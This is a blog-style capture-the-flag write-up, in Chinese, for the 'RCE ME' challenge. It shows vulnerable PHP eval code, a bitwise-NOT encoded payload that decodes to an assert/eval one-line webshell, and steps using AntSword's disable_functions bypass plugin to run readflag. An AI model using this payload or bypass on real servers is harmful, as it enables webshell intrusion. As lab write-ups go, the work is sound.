练[极客大挑战 2019]RCE ME

[极客大挑战 2019]RCE ME


在这里插入图片描述

掌握知识

RCE无数字和字母的bypass,取反 异或 递增

解题思路

  1. 打开题目链接,发现是代码审计的题目,而且代码比较简单,似乎关键就是RCE无数字字母的bypass,之前有接触过,这次使用取反来进行执行一句话木马代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}
// ?>
  1. 使用之前保存的经过取反之后的一句话木马paylaod
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
assert(eval($_POST[1]);)
  1. 但是取反的paylaod长度多余40了,不知道什么原因可以通过长度判断,可能url判断%9e为一个字符串吧。使用蚁剑连接或者post传参执行命令都能查看靶场目录环境,进而拿下flag

image-20231002165623751

  1. 但是查看根目录下的flag文件,发现是空的,下面还有的readflag文件。应该是有权限限制不能直接查看flag,需要执行readflag才能查看到flag。来到虚拟终端准备执行readflag,但是发现命令都回显ret=127

image-20231002165834471

  1. 通过在网上的搜索,这种情况需要上传几个php文件或者使用蚁剑的插件来自动绕过,插件需要梯子下载。下载好disable_functions插件,选好对应的php版本,执行之后直接弹出了虚拟终端,发现可以执行命令了,执行readflag,拿下flag

image-20231002165935446

image-20231002165820841

关键paylaod

(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
assert(eval($_POST[1]);)

disable_functions插件
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值